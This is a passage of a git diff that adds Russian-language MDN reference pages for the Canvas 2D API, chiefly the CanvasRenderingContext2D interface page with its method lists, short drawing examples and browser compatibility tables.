+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-globalalpha", "CanvasRenderingContext2D.globalAlpha")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.globalAlpha")}}</p>
+
+<h3 id="Gecko-specific_notes">Gecko-specific notes</h3>
+
+<ul>
+ <li>Starting with Gecko 5.0, specifying invalid values for <code>globalAlpha</code> no longer throws a <code>SYNTAX_ERR</code> exception; these are now correctly silently ignored.</li>
+</ul>
+
+<h3 id="WebKitBlink-specific_notes">WebKit/Blink-specific notes</h3>
+
+<ul>
+ <li>In WebKit- and Blink-based browsers, a non-standard and deprecated method <code>ctx.setAlpha()</code> is implemented in addition to this property.</li>
+</ul>
+
+<h2 id="Читайте_также">Читайте также</h2>
+
+<ul>
+ <li>The interface defining this property: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.globalCompositeOperation")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/index.html b/files/ru/web/api/canvasrenderingcontext2d/index.html
new file mode 100644
index 0000000000..a683704e3a
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/index.html
@@ -0,0 +1,449 @@
+---
+title: CanvasRenderingContext2D
+slug: Web/API/CanvasRenderingContext2D
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Games
+  - Graphics
+  - NeedsTranslation
+  - Reference
+  - Référence(2)
+  - TopicStub
+translation_of: Web/API/CanvasRenderingContext2D
+---
+<div>{{APIRef}}</div>
+
+<p>Интерфейс <code><strong>CanvasRenderingContext2D</strong></code> предоставляет контекст 2D рендеринга для поверхности рисования элемента {{ HTMLElement("canvas") }}.</p>
+
+<p>Для того, чтобы получить объект этого интерфейса, следует вызвать метод {{domxref("HTMLCanvasElement.getContext()", "getContext()")}} объекта <code>&lt;canvas&gt;</code>, передав ему в качестве первого аргумента строку "2d":</p>
+
+<pre class="brush: js">var canvas = document.getElementById('mycanvas');
+var ctx = canvas.getContext('2d');
+</pre>
+
+<p>После того, как получен контекст 2D рендеринга для элемента canvas, вы можете начать работу с ним. Например:</p>
+
+<pre class="brush: js">ctx.fillStyle = "rgb(200,0,0)";
+ctx.fillRect(10, 10, 55, 50);
+</pre>
+
+<p>Свойства и методы контекста 2D рендеринга представлены на боковой панели и далее по тексту. Кроме того, в <a href="/en-US/docs/Web/API/Canvas_API/Tutorial" title="Canvas tutorial">руководстве по canvas</a> содержится больше информации, примеров и ссылок на ресурсы по этой теме.</p>
+
+<h2 id="Рисование_прямоугольников">Рисование прямоугольников</h2>
+
+<p>Существует три метода, которые сразу же рисуют прямоугольники на холсте.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.clearRect()")}}</dt>
+ <dd>Для всех пикселей, находящихся внутри прямоугольника, определенного начальной точкой <em>(x, y)</em> и размерами <em>(ширина, высота),</em> устанавливает черный прозрачный цвет, стирая любое ранее нарисованное содержимое.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.fillRect()")}}</dt>
+ <dd>Рисует залитый прямоугольник в позиции <em>(x, y)</em>, размеры которого определяются шириной <em>width</em> и высотой <em>height</em>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeRect()")}}</dt>
+ <dd>Рисует на холсте прямоугольник с начальной точкой в позиции <em>(x, y)</em>, имеющий ширину <em>w</em> и высоту <em>h</em>, используя текущий стиль обводки.</dd>
+</dl>
+
+<h2 id="Рисование_текста">Рисование текста</h2>
+
+<p>Следующие методы позволяют создать текст. Смотрите так же информацию об объекте {{domxref("TextMetrics")}}, хранящем свойства текста.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fillText()")}}</dt>
+ <dd>Рисует (заливает) заданный текст в заданной позиции (x,y).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeText()")}}</dt>
+ <dd>Рисует обводку заданного текста в заданной позиции <em>(x, y)</em>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.measureText()")}}</dt>
+ <dd>Возвращает объект {{domxref("TextMetrics")}}.</dd>
+</dl>
+
+<h2 id="Стили_линий">Стили линий</h2>
+
+<p>Следующие методы и свойства определяют как будут отрисовываться линии.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.lineWidth")}}</dt>
+ <dd>Ширина линий. По умолчанию <code>1.0</code></dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineCap")}}</dt>
+ <dd>Форма концов линий. Возможные значения: <code>butt</code> (по умолчанию), <code>round</code>, <code>square</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineJoin")}}</dt>
+ <dd>Определяет форму вершин, в которых две линии сходятся. Возможные значения: <code>round</code>, <code>bevel</code>, <code>miter</code> (по умолчанию).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.miterLimit")}}</dt>
+ <dd>Ограничение длины сопряжений. По умолчанию <code>10</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.getLineDash()")}}</dt>
+ <dd>Возвращает текущий паттерн штриховой линии, который представляет собой массив, состоящий из четного количества неотрицательных чисел.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.setLineDash()")}}</dt>
+ <dd>Устанавливает текущий паттерн штриховой линии.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineDashOffset")}}</dt>
+ <dd>Указывает с какого места начать штриховку линии.</dd>
+</dl>
+
+<h2 id="Стили_текста">Стили текста</h2>
+
+<p>Следующие свойства контролируют отображение текста.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.font")}}</dt>
+ <dd>Настройки шрифта. Значение по умолчанию: <code>10px sans-serif</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.textAlign")}}</dt>
+ <dd>Определяет выравнивание текста по горизонтали. Возможные значения: <code>start</code> (по умолчанию), <code>end</code>, <code>left</code>, <code>right</code> или <code>center</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.textBaseline")}}</dt>
+ <dd>Определяет выравнивание текста относительно базовой линии. Возможные значения: <code>top</code>, <code>hanging</code>, <code>middle</code>, <code>alphabetic</code> (по умолчанию), <code>ideographic</code>, <code>bottom</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.direction")}}</dt>
+ <dd>Направление текста. Возможные значения: <code>ltr, rtl</code>, <code>inherit</code> (по умолчанию).</dd>
+</dl>
+
+<h2 id="Стили_заливки_и_обводки">Стили заливки и обводки</h2>
+
+<p>Стили заливки применяются к цветам и стилям внутри форм, а стили обводки применяются к линиям вокруг форм.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fillStyle")}}</dt>
+ <dd>Цвет или стиль применяемый внутри форм. По умолчанию #000 (черный).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeStyle")}}</dt>
+ <dd>Цвет или стиль , применяемый к линиям вокруг формы. По умолчанию #000 (черный).</dd>
+</dl>
+
+<h2 id="Градиенты_и_шаблоны">Градиенты и шаблоны</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.createLinearGradient()")}}</dt>
+ <dd>Создает линейный градиент вдоль линии, задаваемой координатами, передаваемыми в параметры метода.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.createRadialGradient()")}}</dt>
+ <dd>Создает радиальный градиент, задаваемый координатами двух окружностей, передаваемыми в параметры метода.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.createPattern()")}}</dt>
+ <dd>Создает шаблон, используя указанное изображение ({{domxref("CanvasImageSource")}}). Он повторяет исходное изображение в направлениях, указанных во втором аргументе. Этот метод возвращает {{domxref("CanvasPattern")}}.</dd>
+</dl>
+
+<h2 id="Тени">Тени</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowBlur")}}</dt>
+ <dd>Устанавливает эффект размытия. По умолчанию <code>0</code></dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowColor")}}</dt>
+ <dd>Цвет тени. По умолчанию полностью прозрачный черный.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowOffsetX")}}</dt>
+ <dd>Горизонтальное смещение тени. По умолчанию 0.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowOffsetY")}}</dt>
+ <dd>Вертикальное смещение тени. По умолчанию 0.</dd>
+</dl>
+
+<h2 id="Контуры">Контуры</h2>
+
+<p>Следующие методы могут быть использованы для манипулирования контурами объектов.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.beginPath()")}}</dt>
+ <dd>Создает новый пустой контур, обнуляя список фрагментов контура. Вызовите этот метод, когда захотите создать новый контур.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.closePath()")}}</dt>
+ <dd>Перемещает точку рисования назад к началу текущего фрагмента контура. Этот метод пытается провести прямую линию от текущей точки до начальной. Если форма уже закрыта или имеет только одну точку, метод ничего не делает.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.moveTo()")}}</dt>
+ <dd>Перемещает начальную точку нового фрагмента контура в точку с координатами <strong>(x, y)</strong>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineTo()")}}</dt>
+ <dd>Соединяет последнюю точку фрагмента контура и точку с координатами <code>(x,y) </code>прямой линией .</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.bezierCurveTo()")}}</dt>
+ <dd>Добавляет кубическую кривую Безье к контуру. Для построения требуется три точки. Первые две точки являются контрольными, а третья - конечной. В качестве начальной точки выступает последняя точка текущего фрагмента контура, но она может быть изменена с помощью метода moveTo() перед созданием кривой Безье.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.quadraticCurveTo()")}}</dt>
+ <dd>Добавляет квадратичную кривую Безье к текущему контуру.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.arc()")}}</dt>
+ <dd>Добавляет к контуру дугу, с центром в точке <em>(x, y)</em>, радиусом <em>r,</em> имеющую угол начала <em>startAngle</em> и конца <em>endAngle</em>, рисующуюся в направлении, заданном в аргументе <em>anticlockwise</em> (по умолчанию - по часовой стрелке).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.arcTo()")}}</dt>
+ <dd>Добавляет к контуру дугу, заданную контрольными точками и радиусом, соединяющуюся с предыдущей точкой прямой линией.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.ellipse()")}} {{experimental_inline}}</dt>
+ <dd>Добавляет к контуру эллипс, с центром в точке <em>(x, y)</em>, заданный радиусами <em>radiusX</em> и <em>radiusY</em>, имеющий угол начала <em>startAngle</em> и конца <em>endAngle</em>, рисующийся в направлении, заданном в аргументе <em>anticlockwise</em> (по умолчанию - по часовой стрелке).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.rect()")}}</dt>
+ <dd>Создает контур прямоугольника с началом в точке <em>(x, y)</em>, и размерами, заданными шириной <em>width</em> и высотой <em>height</em>.</dd>
+</dl>
+
+<h2 id="Рисование_контуров">Рисование контуров</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fill()")}}</dt>
+ <dd>Заливает фрагменты контура текущей заливкой.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.stroke()")}}</dt>
+ <dd>Выполняет обводку фрагментов контура текущей обводкой.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.drawFocusIfNeeded()")}}</dt>
+ <dd>Если заданный элемент находится в фокусе, этот метод рисует рамку фокуса вокруг текущего контура.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.scrollPathIntoView()")}}</dt>
+ <dd>Прокручивает текущий или заданный контур в видимую область окна браузера.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.clip()")}}</dt>
+ <dd>Создает область отсечения из текущих фрагментов контура. Все что рисуется после вызова метода <code>clip()</code> применяется только внутри области отсечения. Пример использования см. в разделе <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Compositing" title="Clipping paths">Области отсечения</a> руководства по Canvas.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.isPointInPath()")}}</dt>
+ <dd>Позволяет узнать, содержится ли указанная точка в текущем контуре.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.isPointInStroke()")}}</dt>
+ <dd>Позволяет узнать, находится ли указанная точка на обводке контура.</dd>
+</dl>
+
+<h2 id="Трансформации">Трансформации</h2>
+
+<p>Объекты в контексте рендеринга <code>CanvasRenderingContext2D</code> имеют текущую матрицу преобразований и методы для управления ей. Матрица преобразований применяется в момент создания текущего контура по умолчанию, рисования текста, форм и объектов {{domxref("Path2D")}}. Методы, перечисленные ниже, остаются по историческим причинам и из соображений совместимости, в то время как в настоящее время в большинстве разделов API используются объекты {{domxref("SVGMatrix")}}, которые будут использоваться в будущем как замена устаревшим методам.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.currentTransform")}}</dt>
+ <dd>Текущая матрица преобразований ({{domxref("SVGMatrix")}} object).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.rotate()")}}</dt>
+ <dd>Добавляет вращение в матрицу преобразований. Аргумент представляет угол вращения по часовой стрелке, выраженный в радианах.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.scale()")}}</dt>
+ <dd>Добавляет к  элементам холста трансформацию масштабирования в x раз по горизонтали и y раз по вертикали.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.translate()")}}</dt>
+ <dd>Добавляет трансформацию перемещения, перемещая начальную точку системы координат холста на x по горизонтали и y по вертикали.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.transform()")}}</dt>
+ <dd>Управляет текущей матрицей преобразований при помощи матрицы, описанной аргументами, переданными в метод.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.setTransform()")}}</dt>
+ <dd>Переустанавливает текущую матрицу преобразований в единичную матрицу, после чего вызывает метод <code>transform()</code> с теми же аргументами.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.resetTransform()")}} {{experimental_inline}}</dt>
+ <dd>Переустанавливает текущую матрицу преобразований в единичную матрицу.</dd>
+</dl>
+
+<h2 id="Композиция">Композиция</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.globalAlpha")}}</dt>
+ <dd>Значение альфа-канала, применяемое к формам и изображениям, прежде чем они накладываются на холст. Значение по умолчанию <code>1.0</code> (полностью непрозначный).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.globalCompositeOperation")}}</dt>
+ <dd>Совместно с примененным <code>globalAlpha</code> это свойство определяет как формы и изображения накладываются на существующее изображение.</dd>
+</dl>
+
+<h2 id="Рисование_изображений">Рисование изображений</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.drawImage()")}}</dt>
+ <dd>Рисует заданное изображение. У этого метода есть несколько различных форматов вызова, что обеспечивает большую гибкость в его использовании.</dd>
+</dl>
+
+<h2 id="Манипулирование_пикселями">Манипулирование пикселями</h2>
+
+<p>См. также объект {{domxref("ImageData")}}.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.createImageData()")}}</dt>
+ <dd>Создает новый пустой объект {{domxref("ImageData")}} с заданными размерами. Цвет всех пикселов в новом объекте устанавливается в прозрачный черный.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.getImageData()")}}</dt>
+ <dd>Возвращает объект {{domxref("ImageData")}}, представляющий данные о пикселах, расположенных под областью холста, ограниченной прямоугольником длиной <em>sw</em> и высотой <em>sh</em>, начальная точка которого находится в позиции <em>(sx, sy)</em>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.putImageData()")}}</dt>
+ <dd>Переносит данные, заданные в объекте {{domxref("ImageData")}}, на холст. Если в аргументах задана уточняющая прямоугольная область, отрисованы  будут только пикселы из этой области.</dd>
+</dl>
+
+<h2 id="Сглаживание_изображений">Сглаживание изображений</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.imageSmoothingEnabled")}} {{experimental_inline}}</dt>
+ <dd>Режим сглаживания изображений; если отключен, изображения не будут сглаживаться при масштабировании.</dd>
+</dl>
+
+<h2 id="Состояние_холста">Состояние холста</h2>
+
+<p>Контекст рендеринга <code>CanvasRenderingContext2D</code> содержит множество состояний стилей рисования (атрибуты для стилей линий, стили теней, стили текста). Следующие методы помогут вам работать с этими состояниями:</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.save()")}}</dt>
+ <dd>Сохраняет текущее состояние стилей рисования, используя для этого стек, так что вы можете отменить любые внесенные в него изменения с помощью метода <code>restore()</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.restore()")}}</dt>
+ <dd>Восстанавливает состояние стилей рисования в значение, сохраненное методом <code>save()</code> в стек состояний последним.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.canvas")}}</dt>
+ <dd>Доступная только для чтения обратная ссылка на {{domxref("HTMLCanvasElement")}}. Может иметь значение {{jsxref("null")}}, если она не связана с элементом {{HTMLElement("canvas")}}.</dd>
+</dl>
+
+<h2 id="Области_попадания">Области попадания</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.addHitRegion()")}} {{experimental_inline}}</dt>
+ <dd>Добавляет область попадания к холсту.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.removeHitRegion()")}} {{experimental_inline}}</dt>
+ <dd>Удаляет область попадания с указанным <code>id</code> с холста.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.clearHitRegions()")}} {{experimental_inline}}</dt>
+ <dd>Удаляет все области попадания с холста.</dd>
+</dl>
+
+<h2 id="Нестандартные_API">Нестандартные API</h2>
+
+<h3 id="Blink_и_WebKit">Blink и WebKit</h3>
+
+<p>Большинство из этих API являются <a href="https://code.google.com/p/chromium/issues/detail?id=363198">запрещенными и будут удалены в будущем</a>.</p>
+
+<dl>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.clearShadow()</code></dt>
+ <dd>Удаляет все настройки теней, такие как {{domxref("CanvasRenderingContext2D.shadowColor")}} и {{domxref("CanvasRenderingContext2D.shadowBlur")}}.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.drawImageFromRect()</code></dt>
+ <dd>This is redundant with an equivalent overload of <code>drawImage</code>.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setAlpha()</code></dt>
+ <dd>Вместо этого метода следует использовать {{domxref("CanvasRenderingContext2D.globalAlpha")}}.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setCompositeOperation()</code></dt>
+ <dd>Вместо этого метода следует использовать {{domxref("CanvasRenderingContext2D.globalCompositeOperation")}}.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setLineWidth()</code></dt>
+ <dd>Вместо этого метода следует использовать {{domxref("CanvasRenderingContext2D.lineWidth")}}.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setLineJoin()</code></dt>
+ <dd>Вместо этого метода следует использовать {{domxref("CanvasRenderingContext2D.lineJoin")}}.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setLineCap()</code></dt>
+ <dd>Вместо этого метода следует использовать {{domxref("CanvasRenderingContext2D.lineCap")}}.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setMiterLimit()</code></dt>
+ <dd>Вместо этого метода следует использовать {{domxref("CanvasRenderingContext2D.miterLimit")}}.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setStrokeColor()</code></dt>
+ <dd>Вместо этого метода следует использовать {{domxref("CanvasRenderingContext2D.strokeStyle")}}.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setFillColor()</code></dt>
+ <dd>Вместо этого метода следует использовать {{domxref("CanvasRenderingContext2D.fillStyle")}}.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.setShadow()</code></dt>
+ <dd>Вместо этого метода следует использовать {{domxref("CanvasRenderingContext2D.shadowColor")}} и {{domxref("CanvasRenderingContext2D.shadowBlur")}}.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitLineDash</code></dt>
+ <dd>Вместо этого свойства следует использовать {{domxref("CanvasRenderingContext2D.getLineDash()")}} и {{domxref("CanvasRenderingContext2D.setLineDash()")}}.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitLineDashOffset</code></dt>
+ <dd>Вместо этого свойства следует использовать {{domxref("CanvasRenderingContext2D.lineDashOffset")}}.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitImageSmoothingEnabled</code></dt>
+ <dd>Вместо этого свойства следует использовать {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled")}}.</dd>
+</dl>
+
+<h3 id="Только_Blink">Только Blink</h3>
+
+<dl>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.getContextAttributes()</code></dt>
+ <dd>По аналогии с аналогичным методом класса <code>WebGLRenderingContext</code>, возвращает объект <code>Canvas2DContextAttributes</code>, который содержит аттрибуты "storage", показывающие какое хранилище используется (по умолчанию "persistent") и аттрибут "alpha" (<code>true</code> по умолчанию), показывающий используется ли прозрачность на холсте.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.isContextLost()</code></dt>
+ <dd>По аналогии с аналогичным методом класса <code>WebGLRenderingContext</code>, возвращает <code>true</code> если контекст canvas был потерян, <code>иначе false</code>.</dd>
+</dl>
+
+<h3 id="Только_WebKit">Только WebKit</h3>
+
+<dl>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitBackingStorePixelRatio</code></dt>
+ <dd><span id="result_box" lang="ru"><span>Размер хранилища по отношению к элементу canvas</span></span>. Смотри <a href="http://www.html5rocks.com/en/tutorials/canvas/hidpi/">High DPI Canvas</a>.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitGetImageDataHD</code></dt>
+ <dd>Предназначался для HD хранилищ, но удален из спецификации canvas.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.webkitPutImageDataHD</code></dt>
+ <dd>Предназначался для HD хранилищ, но удален из спецификации canvas.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h3 id="Только_Gecko">Только Gecko</h3>
+
+<dl>
+ <dt>{{non-standard_inline}} {{domxref("CanvasRenderingContext2D.filter")}}</dt>
+ <dd><span id="summary_alias_container"><span id="short_desc_nonedit_display">CSS and SVG filters as Canvas APIs</span></span>. Likely to be standardized in a new version of the specification.</dd>
+</dl>
+
+<h4 id="Prefixed_APIs">Prefixed APIs</h4>
+
+<dl>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.mozCurrentTransform</code></dt>
+ <dd>Sets or gets the current transformation matrix, see {{domxref("CanvasRenderingContext2D.currentTransform")}}.  {{ gecko_minversion_inline("7.0") }}</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.mozCurrentTransformInverse</code></dt>
+ <dd>Sets or gets the current inversed transformation matrix.  {{ gecko_minversion_inline("7.0") }}</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.mozFillRule</code></dt>
+ <dd>The <a class="external" href="http://cairographics.org/manual/cairo-cairo-t.html#cairo-fill-rule-t" title="http://cairographics.org/manual/cairo-cairo-t.html#cairo-fill-rule-t">fill rule</a> to use. This must be one of <code>evenodd</code> or <code>nonzero</code> (default).</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.mozImageSmoothingEnabled</code></dt>
+ <dd>See {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled")}}.</dd>
+ <dt>{{non-standard_inline}} {{deprecated_inline}} <code>CanvasRenderingContext2D.mozDash</code></dt>
+ <dd>An array which specifies the lengths of alternating dashes and gaps {{ gecko_minversion_inline("7.0") }}. Use {{domxref("CanvasRenderingContext2D.getLineDash()")}} and {{domxref("CanvasRenderingContext2D.setLineDash()")}} instead.</dd>
+ <dt>{{non-standard_inline}} {{deprecated_inline}} <code>CanvasRenderingContext2D.mozDashOffset</code></dt>
+ <dd>Specifies where to start a dash array on a line. {{ gecko_minversion_inline("7.0") }}. Use {{domxref("CanvasRenderingContext2D.lineDashOffset")}} instead.</dd>
+ <dt>{{non-standard_inline}} {{deprecated_inline}} <code>CanvasRenderingContext2D.mozTextStyle</code></dt>
+ <dd>Introduced in in Gecko 1.9, deprecated in favor of the {{domxref("CanvasRenderingContext2D.font")}} property.</dd>
+ <dt>{{non-standard_inline}} {{obsolete_inline}} <code>CanvasRenderingContext2D.mozDrawText()</code></dt>
+ <dd>This method was introduced in Gecko 1.9 and is removed starting with Gecko 7.0. Use {{domxref("CanvasRenderingContext2D.strokeText()")}} or {{domxref("CanvasRenderingContext2D.fillText()")}} instead.</dd>
+ <dt>{{non-standard_inline}} {{obsolete_inline}} <code>CanvasRenderingContext2D.mozMeasureText()</code></dt>
+ <dd>This method was introduced in Gecko 1.9 and is unimplemented starting with Gecko 7.0. Use {{domxref("CanvasRenderingContext2D.measureText()")}} instead.</dd>
+ <dt>{{non-standard_inline}} {{obsolete_inline}} <code>CanvasRenderingContext2D.mozPathText()</code></dt>
+ <dd>This method was introduced in Gecko 1.9 and is removed starting with Gecko 7.0.</dd>
+ <dt>{{non-standard_inline}} {{obsolete_inline}} <code>CanvasRenderingContext2D.mozTextAlongPath()</code></dt>
+ <dd>This method was introduced in Gecko 1.9 and is removed starting with Gecko 7.0.</dd>
+</dl>
+
+<h4 id="Internal_APIs_(chrome-context_only)">Internal APIs (chrome-context only)</h4>
+
+<dl>
+ <dt>{{non-standard_inline}} {{domxref("CanvasRenderingContext2D.asyncDrawXULElement()")}}</dt>
+ <dd>Renders a region of a XUL element into the <code>canvas</code>.</dd>
+ <dt>{{non-standard_inline}} {{domxref("CanvasRenderingContext2D.drawWindow()")}}</dt>
+ <dd>Renders a region of a window into the <code>canvas</code>. The contents of the window's viewport are rendered, ignoring viewport clipping and scrolling.</dd>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.demote()</code></dt>
+ <dd>This causes a context that is currently using a hardware-accelerated backend to fallback to a software one. All state should be preserved.</dd>
+</dl>
+
+<h3 id="Internet_Explorer">Internet Explorer</h3>
+
+<dl>
+ <dt>{{non-standard_inline}} <code>CanvasRenderingContext2D.msFillRule</code></dt>
+ <dd>The <a class="external" href="http://cairographics.org/manual/cairo-cairo-t.html#cairo-fill-rule-t" title="http://cairographics.org/manual/cairo-cairo-t.html#cairo-fill-rule-t">fill rule</a> to use. This must be one of <code>evenodd</code> or <code>nonzero</code> (default).</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Cпецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#2dcontext:canvasrenderingcontext2d", "CanvasRenderingContext2D")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("1")}}</td>
+   <td>{{CompatGeckoDesktop("1.8")}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatOpera("9")}}</td>
+   <td>{{CompatSafari("2")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Примечания_о_совместимости">Примечания о совместимости</h3>
+
+<ul>
+ <li>Начиная с Gecko 5.0 {{geckoRelease("5.0")}}, указание недопустимых значений для следующих методов и свойств молча игнорируется: <code>translate()</code>, <code>transform()</code>, <code>rotate(), </code><code>scale(),</code> <code>rect()</code>, <code>clearRect()</code>, <code>fillRect()</code>, <code>strokeRect()</code>, <code>lineTo()</code>, <code>moveTo()</code>, <code>quadraticCurveTo()</code>, <code>arc()</code>, <code>shadowOffsetX</code>, <code>shadowOffsetY</code>,  <code>shadowBlur</code>.</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("HTMLCanvasElement")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/linecap/index.html b/files/ru/web/api/canvasrenderingcontext2d/linecap/index.html
new file mode 100644
index 0000000000..e4d59a184d
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/linecap/index.html
@@ -0,0 +1,132 @@
+---
+title: CanvasRenderingContext2D.lineCap
